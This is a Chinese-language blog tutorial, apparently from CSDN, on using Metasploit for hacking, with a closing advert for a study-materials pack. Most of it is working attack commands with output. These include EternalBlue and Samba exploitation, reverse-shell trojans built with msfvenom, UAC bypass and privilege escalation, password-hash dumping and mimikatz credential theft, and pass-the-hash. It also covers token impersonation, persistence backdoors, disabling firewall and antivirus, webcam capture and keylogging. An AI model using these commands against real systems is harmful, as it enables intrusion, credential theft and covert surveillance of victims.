黑客常用的工具之---MSF的使用（非常详细）零基础入门到精通，收藏这一篇就够了

】

简介：

MSF默认存放模块的目录如下

/usr/share/metasploit-framework/modules/

Kali中更新MSF

apt update  
apt install metasploit-framework

MSF安装介绍MSF官网：https://www.metasploit.com/

MSF有两个版本，Metaploit是开源免费的，Metaploit pro的商业收费的，这里我们用免费的社区版就可以了

MSF下载地址：https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

1、MSF框架

Metasploit简介：

  Metasploit是当前信息安全与渗透测试最流行的术语，他完全颠覆了已有的渗透测试方式。几乎所有流行的操作系统都支持Metasploit，而且Metasploit框架在这些系统上的工作流程基本都一样。kali操作系统预装Metasploit及其上运行的第三方工具。  
  
 Metasploit框架（Metasploit Framework,MSF）是一个开源工具，旨在方便渗透测试，他是有Ruby程序语言编写的模板化框架，具有很好的扩展性，便于渗透测试人员开发.使用定制的工具模板。

渗透攻击步骤：

使用msf渗透测试时，可以综合使用以上的模块，对目标系统进行侦察并发动攻击，大致的步骤如下。  
  
扫描目标机系统，寻找可用的漏洞  
选择并配置一个漏洞利用模块  
选择并配置一个攻击载荷模块  
选择一个编码技术，用来绕过杀毒软件的查杀  
渗透攻击

1.1 Auxiliaries(辅助模块)

该模块不会直接在测试者和目标主机之间建立访问，他们只负责执行扫描，嗅探，指纹识别等相关辅助模块测试，为渗透测试收集信息

主机扫描

对目标主机进行信息收集，尽可能多的发现有关目标机器的信息，获取的信息越多，渗透的概率就越大，主要是了解渗透机器的IP地址

可用服务，开放的端口等

使用辅助模块进行端口扫描：

辅助模块时Metasploit的内置模块，首先利用search命令搜索那些可用端口模块，输入use命令即可使用该漏洞的利用模块，使用show options命令查看需要配置的参数（rhosts为扫描的ip地址，ports为设置扫描端口范围，threads为设置扫描线程），我们使用set命令设置相应的参数，unset命令取消某个参数值的设置。搜索端口模块

search portscan

使用对应的辅助模块

msf5 > use auxiliary/scanner/portscan/tcp  
msf5 > use 5

show options查看需要设置的参数信息,设置辅助模块的参数

set rhosts 10.10.10.7带扫描的IP地址  
set ports 1-500 设置扫描端口范围  
set threads 20  设置扫描的线程数  
unset 取消设置某个参数的值  
exploit /run    开始扫描程序  
  
在Required列中，被标记yes的参数，必须包含实际的值

可以看到在靶机上所有tcp端口的使用情况

使用辅助模块进行服务扫描

在扫描目标服务器上运行的服务时，有多种基于服务的扫描技术可供选择，例如VNC,FTP,SMB，只需执行特定类型的扫描就可以发现服务  
通过search命令搜索scanner可以发现大量的扫描模块，用法与端口扫描类似。

使用nmap扫描

nmap不但可以用来确定目标网络上主机的存活状态，而且能够扫描计算机的操作系统，开放端口，服务等

使用nmap来获取目标主机的操作系统

nmap -O -Pn 10.10.10.7  
Pn参数是不使用ping的方式，且假定所有主机系统都是活动的，可以穿越防火墙，也可以避免被防火墙发现

利用辅助模块进行永恒之蓝漏洞扫描-提权

利用ms17-010永恒之蓝漏洞进行提权  
msf5 > use auxiliary/scanner/smb/smb\_ms17\_010 利用辅助模块进行永恒之蓝漏洞扫描  
sf5 auxiliary(scanner/smb/smb\_ms17\_010) > set rhosts 192.168.1.3设置扫描的靶机  
msf5 auxiliary(scanner/smb/smb\_ms17\_010) > exploit   
  
\[+\] 192.168.1.3:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)  
\[\*\] 192.168.1.3:445       - Scanned 1 of 1 hosts (100% complete)  
\[\*\] Auxiliary module execution completed  
扫描结果显示，该主机可能易受到MS17-010的漏洞攻击  
  
搜索MS17-010的模块信息  
msf5 auxiliary(scanner/smb/smb\_ms17\_010) > search ms17-010  
使用对应的攻击模块  
msf5 auxiliary(scanner/smb/smb\_ms17\_010) > use exploit/windows/smb/ms17\_010\_eternalblue  
设置攻击模块的参数  
msf5 exploit(windows/smb/ms17\_010\_eternalblue) > set payload windows/x64/meterpreter/reverse\_tcp  
msf5 exploit(windows/smb/ms17\_010\_eternalblue) > set rhosts 192.168.1.3  
msf5 exploit(windows/smb/ms17\_010\_eternalblue) > set lhost 192.168.1.2  
msf5 exploit(windows/smb/ms17\_010\_eternalblue) > exploit   
即可成功拿到靶机的系统权限

2.Exploits(攻击模块)

利用发现的安全漏洞，或配置弱点对远程目标系统进行攻击，从而获得对远程目标系统访问权的代码组件

0day漏洞:没有被公布补丁的Bug就是所谓的0day漏洞  
接下来假设Metasploitable2-Linux为靶机，对他进行渗透攻击  
首先对目标进行扫描，收集可用的服务信息，使用nmap扫描并查看系统开放端口和相关的应用程序

msf5 > nmap -sV 10.10.10.7

版本扫描

收集目标的相关信息如上，选择正确的Exploit(漏洞利用模块)和合适的Payload，可知主机运行着Samba 3.x服务  
Samba服务，局域网共享文件和打印机的通信协议，用来提供不同系统之间资源共享的服务

输入msf5 > search samba命令搜索Samba的漏洞利用模块，并选择合适的漏洞利用模块  
执行后将返回Samba服务漏洞利用模块列表，按照各个漏洞被利用成功的相对难易程度进行排序  
因为exploit/multi/samba/usermap\_script被标记为excellent 即最杰出而且时间是最新的，为提高渗透率就选他。  
可以输入info exploit/multi/samba/usermap\_script 查看有关漏洞的

搜索Samba的漏洞利用模块

输入以下命令即可使用该漏洞利用模块  
msf5 > use exploit/multi/samba/usermap\_script 使用模块  
msf5 exploit(multi/samba/usermap\_script) > show payloads 查看payload  
msf5 exploit(multi/samba/usermap\_script) > set PAYLOAD cmd/unix/reverse 使用反向攻击载荷模块  
  
设置模块参数  
msf5 exploit(multi/samba/usermap\_script) > set rhosts 10.10.10.7被攻击主机的IP地址  
msf5 exploit(multi/samba/usermap\_script) > set rport 445    设置漏洞利用的端口号  
msf5 exploit(multi/samba/usermap\_script) > set lhost 10.10.10.2 设置攻击机的IP地址  
msf5 exploit(multi/samba/usermap\_script) > exploit 开始进行攻击

列举攻击载荷

攻击目标主机

3.Payload(攻击载荷模块)

我们期望目标系统再被渗透攻击之后完成实际攻击功能的代码，成功渗透目标后，用于在目标系统上运行任意命令或者执行特定的代码

4.Post(后期渗透模块)

在已经取得目标系统远程控制权后，进行一系列的后渗透攻击动作，如获取敏感信息，实施跳板攻击等攻击成功后促使靶机运行的一段植入代码

后渗透模块之信息收集

对已经渗透成功后的机器，还可以利用MSF的一个强大的后渗透工具，Meterpreter，该工具具有多重功能，在获取了Meterpreter Shell后，就进入最精彩的后渗透利用阶段，200多个后期渗透模块。  
Meterpreter有以下优势  
纯内存工作模式，不需要对磁盘进行任何写入操作  
使用加密通信协议，而且可以同时与几个通道通信  
在被攻击进程内工作，不需要创建新的进程  
易于在多进程之间迁移  
平台通用，适用于Windows，Linux，BSD系统

收集目标计算机的磁盘分区情况  
meterpreter > run post/windows/gather/forensics/enum\_drives  
  
判断目标是否是虚拟机  
meterpreter > run post/windows/gather/checkvm   
  
目标运行哪些服务  
meterpreter > run post/windows/gather/enum\_services   
  
目标运行哪些应用  
meterpreter > run post/windows/gather/enum\_applications   
  
目标有没有共享文件夹  
meterpreter > run post/windows/gather/enum\_shares   
  
  
目标打了哪些补丁  
meterpreter > run post/windows/gather/enum\_patches   
  
获取常见信息(1)  
run scraper   
获取完信息后可以进入相应的目录下查看，至于cat乱码问题带解决  
cd /root/.msf4/logs/scripts/scraper  
  
获取常见信息(2)  
meterpreter > run winenum   
cd /root/.msf4/logs/scripts/winenum

5.Encoders(编码工具模块)

该模块负责渗透测试中的免杀，以防止攻击载荷被杀毒软件,IDS等安全软件检测出来。

2 msf拿windows shell

利用kali生成一个木马  
msfvenom -p windows/meterpreter/reverse\_tcp lhost=172.27.7.10 lport=1234 -f exe >/root/420.exe  
root@kali:~# python -m SimpleHTTPServer 800 开启一个临时的HTTP服务用来传文件。浏览器输入地址端口号  
将生成的木马发送到目标计算机中，在kaliMSF中开启监听

具体操作

msf5 > search handler   
msf5 > use exploit/multi/handler    
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse\_tcp  
msf5 exploit(multi/handler) > set lhost 10.10.10.2  
msf5 exploit(multi/handler) > set lport 1234端口为生成木马的端口  
msf5 exploit(multi/handler) > exploit   
运行完之后开始监听，等待受害主机点击木马程序

再次开启一个终端进行（shift+ctrl+T）,查看本机ip利用msfvenom制作木马程序说明：-p payload(有效载荷) 通俗的讲payload是用来建立目标机与攻击机稳定连接的，可以返回shell-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值-f exe 生成exe格式

将木马传到目标主机这里使用python -m SimpleHTTPServer 800搭建一个http服务，提供一个文件浏览的web页面到800端口打开目标机win7，输入地址进行下载木马并保存在桌面

下载过程 回显

返回第二步界面，设置监听主机,运行在win7中打开msf.exe木马文件，再次查看msf控制台

可以看到得了session11.查看session，如果此时是meterpreter，输入background即可返回msf exploit(multi/handler)查看系统信息:sysinfo截取时下桌面:screenshot

捕获击键记录:keyscan start控制键盘鼠标 启用/禁用:uictl enable/disable keyboard

进程迁移

在拿到目标系统的shell后，该shell是及其脆弱和易受攻击的，如果攻击者利用浏览器进行攻陷目标机器，有可能浏览器被用户关闭。所以第一步就是要移动shell，把它和目标机器中一个稳定的进程绑定在一起，而不需要对磁盘进行任何写入操作，这样更难被检测出来

meterpreter > ps    查看目标机器正在运行的进程  
              
meterpreter > getpid    查看Meterpreter Shell的进程号  
  
meterpreter > migrate 4076  将Meterpreter Shell的进程号迁移到4076进程上  
  
meterpreter > run post/windows/manage/migrate 自动迁移命令  
迁移完成后，原先的进程会被杀死，自动变为新迁移的进程，如果原先的进程还在可以直接kill进程号杀死

3. 后渗透攻击:权限提升

渗透成功后，我们可能只拿到一个低权限，如Guest或User权限无法进行许多操作，安装软件，修改防火墙规则，注册表等，所以要从Guest--->User--->Administrator---->System。  
提权方式:  
纵向提权:低权限----->高权限一个Webshell权限通过提权到管理员权限。  
横向提权:同级提权----->同级权限对已经攻破了系统A的权限获取到系统B的权限。  
权限提升的方法:  
提高程序运行级别  
UAC绕过  
利用提权漏洞进行提权

权限提升的方法

提高程序运行级别

在这之前首先要拿到对方计算机的shell，也就是要成功执行Meterpreter，命令如下  
1.生成木马，发送到目标计算机上  
root@kali:~#msfvenom -p windows/meterpreter/reverse\_tcp lhost=10.10.10.2 lport=1234 -f exe >/root/hacker.exe  
  
root@kali:~# python -m SimpleHTTPServer 800 开启一个临时的HTTP服务用来传文件。浏览器输入地址端口号  
  
2.设置监听  
msf5 > search handler   
msf5 > use exploit/multi/handler   
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse\_tcp  
msf5 exploit(multi/handler) > set lhost 10.10.10.2  
msf5 exploit(multi/handler) > set lport 1234端口为生成木马的端口  
msf5 exploit(multi/handler) > exploit  
meterpreter > run post/windows/manage/migrate   自动迁移进程  
  
3.运行完之后开始监听，等待受害主机点击木马程序  
  
4.开始提权  
  
MSF模块  
msf5 exploit(multi/handler) > use exploit/windows/local/ask 使用这个模块  
msf5 exploit(windows/local/ask) > show options 查看模块的设置参数  
  
Module options (exploit/windows/local/ask):  
  
   Name       Current Setting  Required  Description  
   ----       ---------------  --------  -----------  
   FILENAME                    no        File name on disk  定义木马在目标计算机的名称  
   PATH                        no        Location on disk, %TEMP% used if not set  
   SESSION                     yes       The session to run this module on. 目标计算的session  
   TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)  
     
设置参数  
windows/local/ask) > set session 6   
msf5 exploit(windows/local/ask) > set filename QQ.exe  
msf5 exploit(multi/handler) > exploit 开始攻击，目标计算机会弹出一个QQ.exe的文件，需要用户主动点击确定  
  
若出现如下界面，目标计算机已成功被攻陷  
\[\*\] Started reverse TCP handler on 10.10.10.2:4444   
\[\*\] UAC is Enabled, checking level...  
\[\*\] The user will be prompted, wait for them to click 'Ok'  
\[\*\] Uploading QQ.exe - 73802 bytes to the filesystem...  
\[\*\] Executing Command!  
\[\*\] Sending stage (176195 bytes) to 10.10.10.3  
\[\*\] Meterpreter session 2 opened (10.10.10.2:4444 -> 10.10.10.3:50780) at 2021-03-18 12:54:50 +0800  
meterpreter >   
  
此时我们查看当前的权限  
meterpreter > getuid  
Server username: DESKTOP-8TS33Q5\\17157  
  
提权操作再次看权限  
meterpreter > getsystem   
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).  
meterpreter > getuid  
Server username: NT AUTHORITY\\SYSTEM  
已成功将用户权限提升至系统管理员权限  
msf5 exploit(windows/local/ask) > sessions   
  
Active sessions  
\===============  
  
  Id  Name  Type                     Information                              Connection  
  --  ----  ----                     -----------                              ----------  
  1         meterpreter x86/windows  DESKTOP-8TS33Q5\\17157 @ DESKTOP-8TS33Q5  10.10.10.2:4444 -> 10.10.10.3:50730 (10.10.10.3)  
    
  2         meterpreter x86/windows  NT AUTHORITY\\SYSTEM @ DESKTOP-8TS33Q5    10.10.10.2:4444 -> 10.10.10.3:50780 (10.10.10.3)  
  
此时有系统中存在两个MeterPreter，一个是普通的，一个是经过了提高程序运行级别，可以提权的MeterPreter shell

UAC绕过提权

Msf模块  
通过以下三个模块实现绕过UAC检测，不需要和用户进行交互，  
exploit/windows/local/bypassuac  
exploit/windows/local/bypassuac\_injection  
exploit/windows/local/bypassuac\_vbs

msf5 > use exploit/windows/local/bypassuac  
  
meterpreter > getsystem 提权  
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).  
meterpreter > getuid  
Server username: NT AUTHORITY\\SYSTEM

数据包捕获(sniffer)

第一次使用要加载功能  
meterpreter > load sniffer   
  
列出目标主机上的所有网络接口(需要管理员权限)  
meterpreter > sniffer\_interfaces   
  
开启网卡2的嗅探功能  
meterpreter > sniffer\_start 2  
  
抓取流量到kali目录下命名为2.cap  
meterpreter > sniffer\_dump 2 2.cap  
可以开启kali的抓包工具查看捕获的流量信息  
  
解包  
use auxiliary/sniffer/psnuffle   
set pcapfile /root/2.cap  
exploit   
直接在kali里面进行解包操作

Hash攻击

通过Hashdump获取密码(需要有系统权限)  
meterpreter > getuid  
Server username: NT AUTHORITY\\SYSTEM  
meterpreter > hashdump   
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
lyp:1000:aad3b435b51404eeaad3b435b51404ee:4d79b182560869b4344fcd3c57ec8409:::  
  
meterpreter > run post/windows/gather/smart\_hashdump   
工作流程如下  
检查当前会话的权限和系统类型  
检查是否是域控制服务器  
从注册表读取hash，注入LSASS进程  
如果是08server并具有管理员权限，直接getsystem尝试提权  
如果是win7且UAC关闭并具有管理员权限，从注册表读取  
03/XP直接getsystem，从注册表获取hash  
  
\[\*\] Running module against LYP-PC  
\[\*\] Hashes will be saved to the database if one is connected.  
\[+\] Hashes will be saved in loot in JtR password file format to:  
\[\*\] /root/.msf4/loot/20210318193224\_default\_10.10.10.5\_windows.hashes\_994440.txt  
\[\*\] Dumping password hashes...  
\[\*\] Running as SYSTEM extracting hashes from registry  
\[\*\]     Obtaining the boot key...  
\[\*\]     Calculating the hboot key using SYSKEY 2de936e4c9ddb8389a65920a3f6dfb4c...  
\[\*\]     Obtaining the user list and keys...  
\[\*\]     Decrypting user keys...  
\[\*\]     Dumping password hints...  
\[+\]     lyp:"sr"  
\[\*\]     Dumping password hashes...  
\[+\]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
\[+\]     lyp:1000:aad3b435b51404eeaad3b435b51404ee:4d79b182560869b4344fcd3c57ec8409:::  
  
root@kali:~# hash-identifier --help 利用kali自带的hash破解工具(使用待研究)  
  
使用Mimikatz抓取密码  
使用前提是已经获取Meterpreter shell，并且提权到系统权限。  
  
加载mimikatz模块  
meterpreter > load mimikatz   
  
抓取目标计算机的hash  
meterpreter > msv   
  
利用kerberos抓取系统票据  
meterpreter > kerberos   
  
获取目标计算机的系统账户信息  
meterpreter > wdigest  
  
抓取目标计算机hash  
meterpreter > mimikatz\_command -f samdump::hashes  
  
查看当前系统进程  
meterpreter > mimikatz\_command -f handle:: list  
  
查看系统服务  
meterpreter > mimikatz\_command -f service::list  
  
查看系统证书  
meterpreter > mimikatz\_command -f crypto::listProviders

Hash传递

对于无法破解hash的情况下，可以使用hash传递，使用如下模块  
use exploit/windows/smb/psexec  
首先记录hash值  
meterpreter > hashdump   
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
lyp:1000:aad3b435b51404eeaad3b435b51404ee:4d79b182560869b4344fcd3c57ec8409:::  
  
  
msf5 > use exploit/windows/smb/psexec  
set smbpass aad3b435b51404eeaad3b435b51404ee:4d79b182560869b4344fcd3c57ec8409(需要破解的hash)  
set payload windows/meterpreter/reverse\_tcp(使用这个模块的反弹shell)  
set smbuser lyp(用户名)  
set rhosts 10.10.10.5  
set lhost 10.10.10.2  
set lport 3333(不能使用之前监听的端口)  
exploit   
运行可能会报错，原因目标计算机的UAC为关闭  
可以通过注册表关闭UAC  
cmd输入regedit打开注册表  
UAC注册表位置  
UAC\[HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\]  
将键值改为0即为关闭，1是开启状态  
  
进入目标计算机的shell  
meterpreter > shell   
C:\\Windows\\system32>reg.exe ADD HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG\_DWORD /d 0 /f(关闭目标计算机的注册表)  
  
修改完成之后，以社工的方式让目标计算机重启，然后重新进入Meterpreter，提权到系统权限  
之后进入上个Hsah传递模块  
msf5 > use exploit/windows/smb/psexec  
exploit执行  
执行攻击，发现成功进入Meterpreter  
  
介绍另外一个hash爆破模块  
msf5 > use post/windows/gather/hashdump   
msf5 post(windows/gather/hashdump) > set session 15  
exploit

令牌假冒

令牌就是系统的临时秘钥。相当于账户和密码，用来决定是否允许这次请求和判断这次请求属于哪一个用户，无需账号密码访问网络系统资源  
Kerberos协议  
网络认证协议，通过秘钥系统为客户机/服务器应用程序提供强大的认证服务  
客户端请求证书工作原理如下  
客户端向认证服务器(AS)发送请求，要求得到服务器的证书  
AS收到请求后，将包含服务器秘钥的加密证书发送给客户端。该证书包括服务器ticket(服务器秘钥加密的客户机身份和一份会话秘钥)和一个临时的加密秘钥(又叫做会话秘钥，session key)。同时也会给服务器发送一份，用来验证客户端的身份。  
客户端将ticket传送到服务器上，服务器进行验证。  
客户端登录成功后，攻击者就可以通过入侵服务器获取客户端获取令牌。  
  
Tokens简介  
与进程相关联，进程创建时根据LoginSession分配对应的Token，含有该进程用户账号，组信息，权限等  
用户每次登录，产生LoginSession分配对应的Token  
访问资源时提交Token进行身份验证，类似于Web Cookie  
Delegate Token(授权令牌):支持交互登录，例如通过远程桌面登录访问  
Impersonate Token(模拟令牌):非交互会话，令牌的数量取决于shell的访问级别  
  
Incognito  
不用获取账号密码窃取token将自己伪装成合法用户  
适用于域环境下提权渗透多种操作系统  
  
首先需拿到对方的一个shell  
加载Incognito  
meterpreter > load incognito  
  
列举出可用的token  
meterpreter > list\_tokens -u  
Delegation Tokens Available  
\========================================  
LYP-3\\lyp  
NT AUTHORITY\\LOCAL SERVICE  
NT AUTHORITY\\NETWORK SERVICE  
NT AUTHORITY\\SYSTEM  
QF\\bin.xu  
  
Impersonation Tokens Available  
\========================================  
NT AUTHORITY\\ANONYMOUS LOGON  
  
接下来用域控服务器访问下域成员的一个共享文件夹  
  
接着在查看下token信息  
meterpreter > list\_tokens -u  
Delegation Tokens Available  
\========================================  
LYP-3\\lyp  
NT AUTHORITY\\LOCAL SERVICE  
NT AUTHORITY\\NETWORK SERVICE  
NT AUTHORITY\\SYSTEM  
QF\\bin.xu  
  
Impersonation Tokens Available  
\========================================  
NT AUTHORITY\\ANONYMOUS LOGON  
QF\\Administrator(多出了一个管理员token)  
  
盗取假冒管理员进行攻击  
meterpreter > impersonate\_token QF\\\\Administrator  
\[-\] No delegation token available  
\[+\] Successfully impersonated user QF\\Administrator  
meterpreter > getuid  
Server username: QF\\Administrator

后门植入

Meterpreter后门:Metsvc  
meterpreter > run metsvc -A  
设定端口，上传后门文件  
  
Meterpreter后门:Persistence  
meterpreter > run persistence -X -A -i 20 -p 666 -r 10.10.10.5  
每隔20秒就会重新连接此后门，自动回连  

附：

系统命令

meterpreter > sysinfo   查看系统信息  
Computer        : DESKTOP-8TS33Q5  
OS              : Windows 10 (10.0 Build 17763).  
Architecture    : x64  
System Language : zh\_CN  
Domain          : WORKGROUP  
Logged On Users : 2  
Meterpreter     : x64/windows  
  
  
meterpreter > run post/windows/gather/checkvm 目标主机是否运行在虚拟机上  
  
\[\*\] Checking if DESKTOP-8TS33Q5 is a Virtual Machine ...  
\[+\] This is a VMware Virtual Machine  
  
meterpreter > idletime 查看目标主机的运行时间  
User has been idle for: 9 mins 3 secs  
  
meterpreter > route 查看目标路由  
  
meterpreter > background 将当前会话放置后台  
  
msf5 exploit(multi/handler) > sessions -i 3 重新进入后台  3是会话ID  
  
erpreter > getuid 查看当前权限  
Server username: DESKTOP-8TS33Q5\\17157  
  
  
meterpreter > run post/windows/manage/killav 关闭目标的系统杀毒软件  
  
meterpreter > run post/windows/manage/enable\_rdp 开启目标的远程桌面(3389)实验由于权限不足，无法开启  
  
meterpreter > run get\_local\_subnets 查看目标机本地子网情况  
  
  
meterpreter > webcam\_snap 通过目标摄像头拍照  
  
meterpreter > run post/windows/gather/enum\_logged\_on\_users 列举当前登录的用户  
  
meterpreter > run post/windows/gather/enum\_applications 列举安装在目标机上的应用程序  
  
meterpreter > run post/windows/gather/credentials/win   抓取自动登录的用户名和密码  
  
screenshot  抓取目标主机屏幕截图  
  
meterpreter > shell 获取目标主机shell  
  
meterpreter > webcam\_stream 开启直播模式，浏览器输入返回的地址

文件系统命令

Meterpreter支持各种文件系统命令，可以执行搜索文件，下载切换目录等。  
常见的文件系统命令如下  
meterpreter > pwd当前shell在目标的哪个位置  
  
meterpreter > getlwd当前处于本地的哪个目录  
  
meterpreter > ls    列出当前目录下有哪些文件  
  
meterpreter > search -f \*.txt -d c:/搜索C盘中所有以".txt"为拓展名的文件-f指定搜索文件模式，-d指定搜索位置

关闭防火墙和杀毒软件

进入目标计算机的shell  
关闭目标计算机的防火墙  
C:\\Windows\\system32>Netsh advfirewal set allprofiles state off  
  
关闭Denfender  
C:\\Windows\\system32>Net stop windefend  
  
关闭DEP  
C:\\Windows\\system32>Bcdedit.exe /set {current} nx AlwaysOff  
  
关闭杀毒软件  
meterpreter > run killav   
meterpreter > run post/windows/manage/killav(杀掉防毒)

开启远程桌面(待补充)

开启目标计算机的远程桌面服务(第一种方法)  
meterpreter > run post/windows/manage/enable\_rdp   
\[\*\] Enabling Remote Desktop  
\[\*\]     RDP is disabled; enabling it ...  
\[\*\] Setting Terminal Services service startup mode  
\[\*\]     The Terminal Services service is not set to auto, changing it to auto ...  
\[\*\]     Opening port in local firewall if necessary  
\[\*\] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20210319104948\_default\_10.10.10.5\_host.windows.cle\_679953.txt(执行的相关命令，可以cat查看)  
  
关闭远程桌面服务  
meterpreter > run multi\_console\_command -r /root/.msf4/loot/20210319104948\_default\_10.10.10.5\_host.windows.cle\_679953.txt  
  
第二种方法  
meterpreter > run getgui -h  
\[!\] Meterpreter scripts are deprecated. Try post/windows/manage/enable\_rdp.  
\[!\] Example: run post/windows/manage/enable\_rdp OPTION=value \[...\]  
Windows Remote Desktop Enabler Meterpreter Script  
Usage: getgui -u <username> -p <password>  
Or:    getgui -e  
  
OPTIONS:  
  
    -e        Enable RDP only.(仅启用RDP。)  
    -f <opt>  Forward RDP Connection.(转发RDP连接。)  
    -h        Help menu.  
    -p <opt>  The Password of the user to add.(要添加的用户的密码。)  
    -u <opt>  The Username of the user to add.(要添加的用户的用户名)  
  
只开启远程桌面  
meterpreter > run getgui -e(测试失败脚本可能已经失效)  
如果开启成功直接利用kali的rdesktop进行远程连接  
root@kali:~# rdesktop -u lyp -p 0315 toor 10.10.10.5  
关闭远程桌面  
run multi\_console\_command -r /root/.msf4/logs/scripts/getgui/clean\_up\_\_20210319.0601.rc  
  
开启远程桌面并添加一个新用户  
开启远程桌面并绑定在8888端口  
截图  
load espia  
screengrab

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

（都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享